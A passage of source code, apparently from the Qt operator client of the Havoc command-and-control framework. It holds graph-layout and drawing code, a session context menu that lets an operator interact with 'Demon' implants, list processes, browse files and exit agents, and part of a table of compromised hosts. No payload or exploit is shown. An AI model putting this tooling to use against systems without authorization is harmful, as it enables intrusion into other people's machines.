)\n    {\n        if ( Node* node = qgraphicsitem_cast<Node*>( item ) )\n            nodes << node;\n    }\n\n    for ( Node* node : qAsConst( nodes ) )\n        node->calculateForces();\n\n    for ( Node* node : qAsConst( nodes ) )\n    {\n        if ( node->advancePosition() )\n            itemsMoved = true;\n    }\n\n    if ( ! itemsMoved )\n    {\n        killTimer( timerId );\n        timerId = 0;\n    }\n}\n\nvoid GraphWidget::resizeEvent( QResizeEvent* event )\n{\n    scene()->setSceneRect( 0, 0, event->size().width(), event->size().height() );\n\n    QGraphicsView::resizeEvent( event );\n}\n\nvoid GraphWidget::wheelEvent( QWheelEvent* event )\n{\n    scaleView( pow( 2., event->angleDelta().y() / 500.0 ) );\n}\n\nvoid GraphWidget::drawBackground( QPainter* painter, const QRectF& rect )\n{\n    Q_UNUSED( rect );\n\n    // Shadow\n    auto sceneRect  = this->sceneRect();\n    auto gradient   = QLinearGradient( sceneRect.topLeft(), sceneRect.bottomRight() );\n    auto Background = HavocNamespace::Util::ColorText::Colors::Hex::Background;\n\n    gradient.setColorAt( 0, QColor( Background ) );\n\n    painter->fillRect( rect.intersected( sceneRect ), gradient );\n    painter->setBrush( Qt::NoBrush );\n    painter->drawRect( sceneRect );\n}\n\nvoid GraphWidget::scaleView( qreal scaleFactor )\n{\n    qreal factor = transform().scale( scaleFactor, scaleFactor ).mapRect( QRectF( 0, 0, 1, 1 ) ).width();\n    if ( factor < 1 || factor > 50 )\n        return;\n\n    scale( scaleFactor, scaleFactor );\n}\n\nvoid GraphWidget::shuffle()\n{\n    const auto items = scene()->items();\n\n    for ( QGraphicsItem* item : items )\n    {\n        if ( qgraphicsitem_cast<Node*>( item ) )\n            item->setPos( -150 + QRandomGenerator::global()->bounded( 300 ), -150 + QRandomGenerator::global()->bounded( 300 ) );\n    }\n}\n\nvoid GraphWidget::zoomIn()\n{\n    scaleView( qreal( 1.2 ) );\n}\n\nvoid GraphWidget::zoomOut()\n{\n    scaleView( 1 / qreal( 1.2 ) );\n}\n\nNode *GraphWidget::GraphNodeGet( QString AgentID )\n{\n    const auto items = GraphScene->items();\n\n    for ( QGraphicsItem* g_item : items )\n    {\n        if ( qgraphicsitem_cast<Node*>( g_item ) )\n        {\n            auto i = qgraphicsitem_cast<Node*>( g_item );\n            if ( i->NodeID.compare( AgentID ) == 0 )\n            {\n                return i;\n            }\n        }\n    }\n\n    return nullptr;\n}\n\n// Initialize node properties for layout\nvoid GraphWidget::initNode(Node* v)\n{\n    v->Modifier = 0;\n    v->Thread   = nullptr;\n    v->Ancestor = v;\n    for (Node* w : v->Children) {\n        initNode(w);\n    }\n}\n\n// Entry function for layout\nvoid GraphWidget::layout(Node* T)\n{\n    initNode(T);\n\n    firstWalk(T);\n    // m = 50 to shift position to positive axes\n    secondWalk(T, 50, 0);\n}\n\n// Calculate preliminary x-coordinates for all nodes\nvoid GraphWidget::firstWalk(Node* v)\n{\n    if (v->Children.empty()) { // If leaf node\n        if (v->Parent && v != v->Parent->Children[0]) {\n            auto leftSibling = std::prev(std::find(v->Parent->Children.cbegin(), v->Parent->Children.cend(), v));\n            v->Prelim = (*leftSibling)->Prelim + Y_SEP;\n        } else {\n            v->Prelim = 0;\n        }\n    } else { // Non-leaf node\n        Node* defaultAncestor = v->Children[0];\n\n        for (Node* w : v->Children) {\n            firstWalk(w);\n            apportion(w, defaultAncestor); \n        }\n\n        executeShifts(v);\n\n        // Compute the node's preliminary x-coordinate based on children's positions\n        double midpoint = (v->Children[0]->Prelim + v->Children.back()->Prelim) / 2;\n\n        if (v->Parent && v != v->Parent->Children[0]) {\n            auto leftSibling = *std::prev(std::find(v->Parent->Children.cbegin(), v->Parent->Children.cend(), v));\n            v->Prelim = leftSibling->Prelim + Y_SEP;\n            v->Modifier = v->Prelim - midpoint;\n        } else {\n            v->Prelim = midpoint;\n        }\n    }\n}\n\n// Adjusts spacing between subtrees to ensure they don't overlap\nvoid GraphWidget::apportion(Node* v, Node*& defaultAncestor)\n{\n    if (v != v->Parent->Children[0]) {\n        auto leftSibling = *std::prev(std::find(v->Parent->Children.cbegin(), v->Parent->Children.cend(), v));\n        Node* vip = v;\n        Node* vop = v;\n        Node* vim = leftSibling;\n        Node* vom = vip->Parent->Children[0];\n\n        double sip = vip->Modifier;\n        double sop = vop->Modifier;\n        double sim = vim->Modifier;\n        double som = vom->Modifier;\n\n        while (nextRight(vim) && nextLeft(vip)) {\n            vim = nextRight(vim);\n            vip = nextLeft(vip);\n            vom = nextLeft(vom);\n            vop = nextRight(vop);\n            vop->Ancestor = v;\n\n            // Calculate how much to shift the trees apart\n            double shift = (vim->Prelim + sim) - (vip->Prelim + sip) + Y_SEP;\n\n            if (shift > 0) {\n                // Move the current subtree apart from the previous subtree\n                moveSubtree(ancestor(vim, v, defaultAncestor), v, shift);\n                sip += shift;\n                sop += shift;\n            }\n\n            sim += vim->Modifier;\n            sip += vip->Modifier;\n            som += vom->Modifier;\n            sop += vop->Modifier;\n        }\n\n        if (nextRight(vim) && !nextRight(vop)) {\n            vop->Thread = nextRight(vim);\n            vop->Modifier += sim - sop;\n        }\n\n        if (nextLeft(vip) && !nextLeft(vom)) {\n            vom->Thread = nextLeft(vip);\n            vom->Modifier += sip - som;\n            defaultAncestor = v;\n        }\n    }\n}\n\n// Move the subtree rooted at wp so it's shifted away from the subtree rooted at wm\nvoid GraphWidget::moveSubtree(Node* wm, Node* wp, double shift)\n{\n    // Find the indices of wm and wp in their parent's children list\n    auto wmIndex = std::distance(wp->Parent->Children.cbegin(), std::find(wp->Parent->Children.cbegin(), wp->Parent->Children.cend(), wm));\n    auto wpIndex = std::distance(wp->Parent->Children.cbegin(), std::find(wp->Parent->Children.cbegin(), wp->Parent->Children.cend(), wp));\n\n    // Number of subtrees is the difference in their indices\n    int subtrees = wpIndex - wmIndex;\n\n    if (subtrees != 0) {\n        wp->Change -= shift / subtrees;\n        wp->Shift += shift;\n        wm->Change += shift / subtrees;\n        wp->Prelim += shift;\n        wp->Modifier += shift;\n    }\n}\n\n// Helper function to get the leftmost child or thread (left contour)\nNode* GraphWidget::nextLeft(Node* v)\n{\n    if (!v->Children.empty())\n        return v->Children[0];\n    else\n        return v->Thread;\n}\n\n// Helper function to get the rightmost child or thread (right contour)\nNode* GraphWidget::nextRight(Node* v)\n{\n    if (!v->Children.empty())\n        return v->Children.back();\n    else\n        return v->Thread;\n}\n\n// Get the ancestor of vim that is in the same subtree as v, or return defaultAncestor\nNode* GraphWidget::ancestor(Node* vim, Node* v, Node*& defaultAncestor)\n{\n    if (vim->Ancestor->Parent == v->Parent) {\n        return vim->Ancestor;\n    } else {\n        return defaultAncestor;\n    }\n}\n\n// Propagate the shifts down to ensure subtrees are moved accordingly\nvoid GraphWidget::executeShifts(Node* v)\n{\n    double shift = 0;\n    double change = 0;\n\n    for (int i = v->Children.size() - 1; i >= 0; i--) {\n        Node* w = v->Children[i];\n        w->Prelim += shift;\n        w->Modifier += shift;\n        change += w->Change;\n        shift += w->Shift + change;\n    }\n}\n\n// Walk the tree again to assign final x and y coordinates to each node\nvoid GraphWidget::secondWalk(Node* v, double m, double depth)\n{\n    v->setPos((depth * X_SEP) + 100, v->Prelim + m);\n\n    for (Node* w : v->Children) {\n        secondWalk(w, m + v->Modifier, depth + 1);\n    }\n}\n\n// ==================================================\n// =================== Edge Class ===================\n// ==================================================\nEdge::Edge( Node* sourceNode, Node* destNode, QColor Color )\n    : source( sourceNode ), dest( destNode ), color( Color )\n{\n    setAcceptedMouseButtons( Qt::NoButton );\n\n    source->addEdge( this );\n    dest->addEdge( this );\n\n    adjust();\n}\n\nNode* Edge::sourceNode() const\n{\n    return source;\n}\n\nNode* Edge::destNode() const\n{\n    return dest;\n}\n\nvoid Node::contextMenuEvent( QGraphicsSceneContextMenuEvent* event )\n{\n    if ( NodeType == NodeItemType::MainNode )\n        return;\n\n    auto MenuStyle = QString(\n            \"QMenu {\"\n            \"    background-color: #282a36;\"\n            \"    color: #f8f8f2;\"\n            \"    border: 1px solid #44475a;\"\n            \"}\"\n            \"QMenu::separator {\"\n            \"    background: #44475a;\"\n            \"}\"\n            \"QMenu::item:selected {\"\n            \"    background: #44475a;\"\n            \"}\"\n            \"QAction {\"\n            \"    background-color: #282a36;\"\n            \"    color: #f8f8f2;\"\n            \"}\"\n    );\n\n    auto Agent     = Util::SessionItem{};\n\n    for ( auto s : HavocX::Teamserver.Sessions )\n    {\n        if ( s.Name.compare( NodeID ) == 0 )\n        {\n            Agent = s;\n            break;\n        }\n    }\n\n    auto separator  = new QAction();\n    auto separator2 = new QAction();\n    auto separator3 = new QAction();\n    auto separator4 = new QAction();\n\n    separator->setSeparator( true );\n    separator2->setSeparator( true );\n    separator3->setSeparator( true );\n    separator4->setSeparator( true );\n\n    auto SessionMenu     = QMenu();\n    auto SessionExplorer = QMenu( \"Explorer\" );\n\n    SessionExplorer.addAction( \"Process List\" );\n    SessionExplorer.addAction( \"File Explorer\" );\n    SessionExplorer.setStyleSheet( MenuStyle );\n\n    SessionMenu.addAction( \"Interact\" );\n    SessionMenu.addAction( separator );\n\n    if ( Agent.MagicValue == DemonMagicValue )\n    {\n        SessionMenu.addAction( SessionExplorer.menuAction() );\n        SessionMenu.addAction( separator2 );\n    }\n\n    if ( Agent.Marked.compare( \"Dead\" ) != 0 )\n        SessionMenu.addAction( \"Mark as Dead\" );\n    else\n        SessionMenu.addAction( \"Mark as Alive\" );\n\n    SessionMenu.addAction( \"Export\" );\n    SessionMenu.addAction( separator3 );\n    SessionMenu.addAction( \"Remove\" );\n\n    if ( Agent.MagicValue == DemonMagicValue )\n    {\n        auto ExitMenu = QMenu( \"Exit\" );\n\n        ExitMenu.addAction( \"Thread\" );\n        ExitMenu.addAction( \"Process\" );\n        ExitMenu.setStyleSheet( MenuStyle );\n\n        SessionMenu.addAction( ExitMenu.menuAction() );\n    }\n    else\n    {\n        SessionMenu.addAction( \"Exit\" );\n    }\n\n    SessionMenu.setStyleSheet( MenuStyle );\n\n    auto *action = SessionMenu.exec( event->screenPos() );\n\n    if ( action )\n    {\n        for ( auto & Session : HavocX::Teamserver.Sessions )\n        {\n            // TODO: make that on Session receive\n            if ( Session.InteractedWidget == nullptr )\n            {\n                Session.InteractedWidget                 = new UserInterface::Widgets::DemonInteracted;\n                Session.InteractedWidget->SessionInfo    = Session;\n                Session.InteractedWidget->TeamserverName = HavocX::Teamserver.Name;\n                Session.InteractedWidget->setupUi( new QWidget );\n            }\n\n            if ( Session.Name.compare( NodeID ) == 0 )\n            {\n                if ( action->text().compare( \"Interact\" ) == 0 )\n                {\n                    auto tabName = \"[\" + Session.Name + \"] \" + Session.User + \"/\" + Session.Computer;\n                    for ( int i = 0 ; i < HavocX::Teamserver.TabSession->tabWidget->count(); i++ )\n                    {\n                        if ( HavocX::Teamserver.TabSession->tabWidget->tabText( i ) == tabName )\n                        {\n                            HavocX::Teamserver.TabSession->tabWidget->setCurrentIndex( i );\n                            return;\n                        }\n                    }\n\n                    HavocX::Teamserver.TabSession->NewBottomTab( Session.InteractedWidget->DemonInteractedWidget, tabName.toStdString() );\n                    Session.InteractedWidget->lineEdit->setFocus();\n                }\n                else if ( action->text().compare( \"Mark as Dead\" ) == 0 )\n                {\n                    auto Marked = QString();\n                    Marked = \"Dead\";\n                    HavocApplication->HavocAppUI.MarkSessionAs( Session, Marked );\n                }\n                else if ( action->text().compare( \"Mark as Alive\" ) == 0 )\n                {\n                    auto Marked = QString();\n                    Marked = \"Alive\";\n                    HavocApplication->HavocAppUI.MarkSessionAs( Session, Marked );\n                }\n                else if ( action->text().compare( \"Mark as Dead\" ) == 0 || action->text().compare( \"Mark as Alive\" ) == 0 )\n                {\n                    for ( int i = 0; i <  HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ )\n                    {\n                        auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text();\n\n                        if ( AgentID.compare( NodeID ) == 0 )\n                        {\n                            auto Package = new Util::Packager::Package;\n\n                            Package->Head = Util::Packager::Head_t {\n                                    .Event= Util::Packager::Session::Type,\n                                    .User = HavocX::Teamserver.User.toStdString(),\n                                    .Time = CurrentTime().toStdString(),\n                            };\n\n                            auto Marked = QString();\n\n                            if ( action->text().compare( \"Mark as Alive\" ) == 0 )\n                            {\n                                Marked = \"Alive\";\n                                Session.Marked = Marked;\n\n                                auto Icon = ( Session.Elevated.compare( \"true\" ) == 0 ) ?\n                                            WinVersionIcon( Session.OS, true ) :\n                                            WinVersionIcon( Session.OS, false );\n\n                                HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon );\n\n                                for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ )\n                                {\n                                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) );\n                                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) );\n                                }\n                            }\n                            else if ( action->text().compare( \"Mark as Dead\" ) == 0 )\n                            {\n                                Marked = \"Dead\";\n                                Session.Marked = Marked;\n\n                                HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( \":/icons/DeadWhite\" ) );\n\n                                for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ )\n                                {\n                                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) );\n                                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) );\n                                }\n                            }\n\n                            Package->Body = Util::Packager::Body_t {\n                                    .SubEvent = Util::Packager::Session::MarkAs,\n                                    .Info = {\n                                            { \"AgentID\", AgentID.toStdString() },\n                                            { \"Marked\",  Marked.toStdString() },\n                                    }\n                            };\n\n                            HavocX::Connector->SendPackage( Package );\n                        }\n                    }\n                }\n                else if ( action->text().compare( \"Export\" ) == 0 )\n                {\n                    Session.Export();\n                }\n                else if ( action->text().compare( \"Remove\" ) == 0 )\n                {\n                    // TODO: Add a function to Session item that removes itself from the session table and graph.\n                    for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ )\n                    {\n                        auto Row = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text();\n\n                        if ( Row.compare( Session.Name ) == 0 )\n                        {\n                            HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->removeRow( i );\n                        }\n                    }\n\n                    delete NodeEdge;\n                    delete this;\n                }\n                else if ( action->text().compare( \"Thread\" ) == 0 || action->text().compare( \"Process\" ) == 0 )\n                {\n                    Session.InteractedWidget->DemonCommands->Execute.Exit( Util::gen_random( 8 ).c_str(), action->text().toLower() );\n                }\n                if ( Session.MagicValue == DemonMagicValue )\n                {\n                    if ( action->text().compare( \"Process List\" ) == 0 )\n                    {\n                        auto TabName = QString( \"[\" + NodeID + \"] Process List\" );\n\n                        if ( Session.ProcessList == nullptr )\n                        {\n                            Session.ProcessList = new UserInterface::Widgets::ProcessList;\n                            Session.ProcessList->setupUi( new QWidget );\n                            Session.ProcessList->Session = Session;\n                            Session.ProcessList->Teamserver = HavocX::Teamserver.Name;\n\n                            HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() );\n                        }\n                        else\n                        {\n                            HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() );\n                        }\n\n                        Session.InteractedWidget->DemonCommands->Execute.ProcList( Util::gen_random( 8 ).c_str(), true );\n                    }\n                    else if ( action->text().compare( \"File Explorer\" ) == 0 )\n                    {\n                        auto TabName = QString( \"[\" + NodeID + \"] File Explorer\" );\n\n                        if ( Session.FileBrowser == nullptr )\n                        {\n                            Session.FileBrowser = new FileBrowser;\n                            Session.FileBrowser->setupUi( new QWidget );\n                            Session.FileBrowser->SessionID = Session.Name;\n\n                            HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), \"\" );\n                        }\n                        else\n                        {\n                            HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), \"\" );\n                        }\n\n                        Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), \"dir;ui\", \".\" );\n                    }\n                }\n\n            }\n        }\n\n    }\n\n    delete separator;\n    delete separator2;\n    delete separator3;\n    delete separator4;\n}\n\nvoid Edge::adjust()\n{\n    if ( ! source || ! dest )\n        return;\n\n    auto line   = QLineF( mapFromItem( source, 0, 0 ), mapFromItem( dest, 0, 0 ) );\n    auto length = line.length();\n\n    prepareGeometryChange();\n\n    if ( length > qreal( 20. ) )\n    {\n        auto edgeSpace  = 50;\n        auto edgeOffset = QPointF( ( line.dx() * edgeSpace ) / length, ( line.dy() * edgeSpace ) / length );\n\n        sourcePoint = line.p1() + edgeOffset;\n        destPoint   = line.p2() - edgeOffset;\n    }\n    else\n    {\n        sourcePoint = destPoint = line.p1();\n    }\n}\n\nQRectF Edge::boundingRect() const\n{\n    if ( ! source || ! dest )\n        return QRectF();\n\n    qreal penWidth  = 1;\n    qreal extra     = ( penWidth + arrowSize ) / 2.0;\n\n    return QRectF( sourcePoint, QSizeF( destPoint.x() - sourcePoint.x(), destPoint.y() - sourcePoint.y()) )\n            .normalized()\n            .adjusted( -extra, -extra, extra, extra );\n}\n\nvoid Edge::paint( QPainter* painter, const QStyleOptionGraphicsItem*, QWidget* )\n{\n    if ( ! source || ! dest )\n        return;\n\n    auto line = QLineF( sourcePoint, destPoint );\n    if ( qFuzzyCompare( line.length(), qreal( 0. ) ) )\n        return;\n\n    // Draw the arrows\n    auto angle         = std::atan2( -line.dy(), line.dx() );\n\n    auto sourceArrowP1 = sourcePoint + QPointF( sin( angle + M_PI / 3 ) * arrowSize, cos( angle + M_PI / 3 ) * arrowSize );\n    auto sourceArrowP2 = sourcePoint + QPointF( sin( angle + M_PI - M_PI / 3 ) * arrowSize, cos( angle + M_PI - M_PI / 3 ) * arrowSize );\n    auto destArrowP1   = destPoint   + QPointF( sin( angle - M_PI / 3 ) * arrowSize, cos( angle - M_PI / 3 ) * arrowSize );\n    auto destArrowP2   = destPoint   + QPointF( sin( angle - M_PI + M_PI / 3 ) * arrowSize, cos( angle - M_PI + M_PI / 3 ) * arrowSize );\n\n    // Draw the line itself\n    painter->setPen( QPen( color, 2, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin ) );\n    painter->drawLine( line );\n    painter->setBrush( color );\n\n    if ( source->NodeType == NodeItemType::MainNode )\n        painter->drawPolygon( QPolygonF() << line.p1() << sourceArrowP1 << sourceArrowP2 );\n    else\n        painter->drawPolygon( QPolygonF() << line.p2() << destArrowP1 << destArrowP2 );\n}\n\nvoid Edge::Color( QColor color )\n{\n    this->color = color;\n}\n\n// ==================================================\n// =================== Node Class ===================\n// ==================================================\nNode::Node( NodeItemType NodeType, QString NodeLabel, GraphWidget* graphWidget ) : graph( graphWidget )\n{\n    this->NodeType  = NodeType;\n    this->NodeLabel = NodeLabel;\n\n    if ( NodeType == NodeItemType::MainNode )\n        this->NodePainterSize = QRectF( -40, -50, 80, 80 );\n    else\n        this->NodePainterSize = QRectF( -150, -150, 400, 230 );\n\n    setFlag( ItemIsMovable );\n    setFlag( ItemSendsGeometryChanges );\n    setCacheMode( DeviceCoordinateCache );\n    setZValue( -1 );\n}\n\nvoid Node::appendChild( Node* child )\n{\n    Children.push_back(child);\n}\n\nvoid Node::removeChild( Node* child )\n{\n    auto it = std::find(Children.cbegin(), Children.cend(), child);\n    if (it != Children.end())\n        Children.erase(it);\n}\n\nQRectF Node::boundingRect() const\n{\n    return NodePainterSize;\n}\n\nvoid Node::addEdge( Edge* edge )\n{\n    edgeList << edge;\n    edge->adjust();\n}\n\nQVector<Edge*> Node::edges() const\n{\n    return edgeList;\n}\n\nvoid Node::calculateForces()\n{\n    auto xvel = qreal( 0 );\n    auto yvel = qreal( 0 );\n\n    if ( ! scene() || scene()->mouseGrabberItem() == this )\n    {\n        newPos = pos();\n        return;\n    }\n\n    if ( qAbs( xvel ) < 0.1 && qAbs( yvel ) < 0.1 )\n        xvel = yvel = 0;\n\n    auto sceneRect = scene()->sceneRect();\n\n    newPos = pos() + QPointF( xvel, yvel );\n    newPos.setX( qMin( qMax( newPos.x(), sceneRect.left() + 10 ), sceneRect.right()  - 10 ) );\n    newPos.setY( qMin( qMax( newPos.y(), sceneRect.top()  + 10 ), sceneRect.bottom() - 10 ) );\n}\n\nvoid Node::mouseMoveEvent( QGraphicsSceneMouseEvent* event )\n{\n    QGraphicsItem::mouseMoveEvent( event );\n}\n\nbool Node::advancePosition()\n{\n    if ( newPos == pos() )\n        return false;\n\n    setPos( newPos );\n    return true;\n}\n\nQPainterPath Node::shape() const\n{\n    auto path = QPainterPath();\n\n    path.addEllipse( NodePainterSize );\n\n    return path;\n}\n\nvoid Node::paint( QPainter *painter, const QStyleOptionGraphicsItem* option, QWidget* )\n{\n    if ( NodeType == NodeItemType::Nothing )\n    {\n        return;\n    }\n    else if ( NodeType == NodeItemType::MainNode )\n    {\n        auto image1 = QImage( \":/images/SessionHavoc\" );\n\n        painter->drawImage( NodePainterSize, image1 );\n\n        return;\n    }\n    else if ( NodeType == NodeItemType::Session )\n    {\n        auto text   = NodeLabel.split( \" \" );\n        auto image1 = ( Session.Elevated.compare( \"true\" ) == 0 ) ?\n                      WinVersionImage( Session.OS, true ) :\n                      WinVersionImage( Session.OS, false );\n\n        if ( Disconnected )\n        {\n            image1 = GrayScale( image1 );\n        }\n        else\n        {\n            for ( auto& session : HavocX::Teamserver.Sessions )\n            {\n                if ( session.Name.compare( NodeID ) == 0 )\n                {\n                    if ( session.Marked.compare( \"Dead\" ) == 0 )\n                        image1 = GrayScale( image1 );\n                }\n            }\n        }\n\n        painter->drawImage( QRectF( -40, -35, 90, 90 ), image1 );\n        painter->setPen( QPen( Qt::white ) );\n        painter->drawText( -90, 60, text[ 0 ] + \" @ \" + text[ 1 ] );\n        painter->drawText( -80, 75, text[ 2 ] );\n\n        return;\n    }\n    else\n        return;\n}\n\nQVariant Node::itemChange( GraphicsItemChange change, const QVariant& value )\n{\n    switch ( change )\n    {\n        case ItemPositionHasChanged:\n        {\n            for ( Edge* edge : qAsConst( edgeList ) )\n                edge->adjust();\n\n            graph->itemMoved();\n\n            break;\n        }\n        default: break;\n    };\n\n    return QGraphicsItem::itemChange( change, value );\n}\n\nvoid Node::mousePressEvent( QGraphicsSceneMouseEvent* event )\n{\n    update();\n    QGraphicsItem::mousePressEvent( event );\n}\n\nvoid Node::mouseReleaseEvent( QGraphicsSceneMouseEvent* event )\n{\n    update();\n    QGraphicsItem::mouseReleaseEvent( event );\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/SessionTable.cc",
    "content": "#include <Havoc/Havoc.hpp>\n#include <global.hpp>\n\n#include <UserInterface/Widgets/SessionTable.hpp>\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <UserInterface/SmallWidgets/EventViewer.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n\n#include <QHeaderView>\n#include <QItemSelectionModel>\n#include <Util/ColorText.h>\n\nusing namespace HavocNamespace::UserInterface::Widgets;\nusing namespace HavocNamespace::Util;\n\nvoid HavocNamespace::UserInterface::Widgets::SessionTable::setupUi(QWidget *Form, QString TeamserverName)\n{\n    this->TeamserverName = TeamserverName;\n\n    if ( Form->objectName().isEmpty() )\n        Form->setObjectName( QString::fromUtf8( \"Form\" ) );\n\n    gridLayout = new QGridLayout( Form );\n    gridLayout->setObjectName( QString::fromUtf8( \"gridLayout\" ) );\n    SessionTableWidget = new QTableWidget( Form );\n\n    if ( SessionTableWidget->columnCount() < 10 )\n        SessionTableWidget->setColumnCount( 10 );\n\n    SessionTableWidget->setStyleSheet(\n        \"QTableWidget { \"\n        \"   background-color: #282a36;\"\n        \"   color: #f8f8f2; \"\n        \"}\"\n    );\n\n    TitleAgentID   = new QTableWidgetItem( \"ID\"       );\n    TitleExternal  = new QTableWidgetItem( \"External\" );\n    TitleInternal  = new QTableWidgetItem( \"Internal\" );\n    TitleUser      = new QTableWidgetItem( \"User\"     );\n    TitleComputer  = new QTableWidgetItem( \"Computer\" );\n    TitleOperating = new QTableWidgetItem( \"OS\"       );\n    TitleProcess   = new QTableWidgetItem( \"Process\"  );\n    TitleProcessId = new QTableWidgetItem( \"PID\"      );\n    TitleLast      = new QTableWidgetItem( \"Last\"     );\n    TitleHealth    = new QTableWidgetItem( \"Health\"   );\n\n    SessionTableWidget->setHorizontalHeaderItem( 0, TitleAgentID   );\n    SessionTableWidget->setHorizontalHeaderItem( 1, TitleExternal  );\n    SessionTableWidget->setHorizontalHeaderItem( 2, TitleInternal  );\n    SessionTableWidget->setHorizontalHeaderItem( 3, TitleUser      );\n    SessionTableWidget->setHorizontalHeaderItem( 4, TitleComputer  );\n    SessionTableWidget->setHorizontalHeaderItem( 5, TitleOperating );\n    SessionTableWidget->setHorizontalHeaderItem( 6, TitleProcess   );\n    SessionTableWidget->setHorizontalHeaderItem( 7, TitleProcessId );\n    SessionTableWidget->setHorizontalHeaderItem( 8, TitleLast      );\n    SessionTableWidget->setHorizontalHeaderItem( 9, TitleHealth    );\n    SessionTableWidget->horizontalHeader()->resizeSection( 5, 150 );\n\n    SessionTableWidget->setEnabled( true );\n    SessionTableWidget->setShowGrid( false );\n    SessionTableWidget->setSortingEnabled( false );\n    SessionTableWidget->setWordWrap( true );\n    SessionTableWidget->setCornerButtonEnabled( true );\n    SessionTableWidget->horizontalHeader()->setVisible( true );\n    SessionTableWidget->setSelectionBehavior( QAbstractItemView::SelectRows );\n    SessionTableWidget->setContextMenuPolicy( Qt::CustomContextMenu );\n    SessionTableWidget->horizontalHeader()->setSectionResizeMode( QHeaderView::ResizeMode::Stretch );\n    SessionTableWidget->horizontalHeader()->setStretchLastSection( true );\n    SessionTableWidget->verticalHeader()->setVisible( false );\n    SessionTableWidget->setFocusPolicy( Qt::NoFocus );\n\n    SessionTableWidget->horizontalHeaderItem( 0 )->setSizeHint( QSize( 0, 0 ) );\n\n    connect( SessionTableWidget, &QTableWidget::itemSelectionChanged, this, &HavocNamespace::UserInterface::Widgets::SessionTable::updateRow );\n\n    gridLayout->addWidget( SessionTableWidget, 0, 0, 1, 1 );\n\n    QMetaObject::connectSlotsByName( Form );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::SessionTable::NewSessionItem( Util::SessionItem item ) const\n{\n    /* check if the session already exists */\n    for ( auto& session : HavocX::Teamserver.Sessions ) {\n        if ( session.Name.compare( item.Name ) == 0 ) {\n            return;\n        }\n    }\n\n    HavocX::Teamserver.Sessions.push_back( item );\n\n    if ( SessionTableWidget->rowCount() < 1 ) {\n        SessionTableWidget->setRowCount( 1 );\n    } else {\n        SessionTableWidget->setRowCount( SessionTableWidget->rowCount() + 1 );\n    }\n\n    auto isSortingEnabled = SessionTableWidget->isSortingEnabled();\n\n    SessionTableWidget->setSortingEnabled( false );\n\n    auto item_ID        = new QTableWidgetItem();\n    auto item_External  = new QTableWidgetItem();\n    auto item_Internal  = new QTableWidgetItem();\n    auto item_User      = new QTableWidgetItem();\n    auto item_Computer  = new QTableWidgetItem();\n    auto item_OS        = new QTableWidgetItem();\n    auto item_Process   = new QTableWidgetItem();\n    auto item_ProcessID = new QTableWidgetItem();\n    auto item_Last      = new QTableWidgetItem();\n    auto item_Health    = new QTableWidgetItem();\n    auto Icon           = QIcon();\n\n    if ( item.Elevated.compare( \"true\" ) == 0 ) {\n        item_ID->setForeground( QColor( 255, 85, 85 ) );\n        Icon = WinVersionIcon( item.OS, true );\n    } else {\n        Icon = WinVersionIcon( item.OS, false );\n    }\n\n    item_ID->setText( item.Name );\n    item_ID->setIcon( Icon );\n    item_ID->setTextAlignment( Qt::AlignCenter );\n    item_ID->setFlags( item_ID->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount() - 1, 0, item_ID );\n\n    item_External->setText( item.External );\n    item_External->setTextAlignment( Qt::AlignCenter );\n    item_External->setFlags( item_External->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 1, item_External );\n\n    item_Internal->setText( item.Internal );\n    item_Internal->setTextAlignment( Qt::AlignCenter );\n    item_Internal->setFlags( item_Internal->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 2, item_Internal );\n\n    item_User->setText( item.User );\n    item_User->setTextAlignment( Qt::AlignCenter );\n    item_User->setFlags( item_User->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 3, item_User );\n\n    item_Computer->setText( item.Computer );\n    item_Computer->setTextAlignment( Qt::AlignCenter );\n    item_Computer->setFlags( item_Computer->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 4, item_Computer );\n\n    item_OS->setText( item.OS );\n    item_OS->setTextAlignment( Qt::AlignCenter );\n    item_OS->setFlags( item_OS->flags() ^ Qt::ItemIsEditable );\n    SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 5, item_OS );\n\n    item_Process->setText( item.Process );\n    item_Process->setTextAlignment( 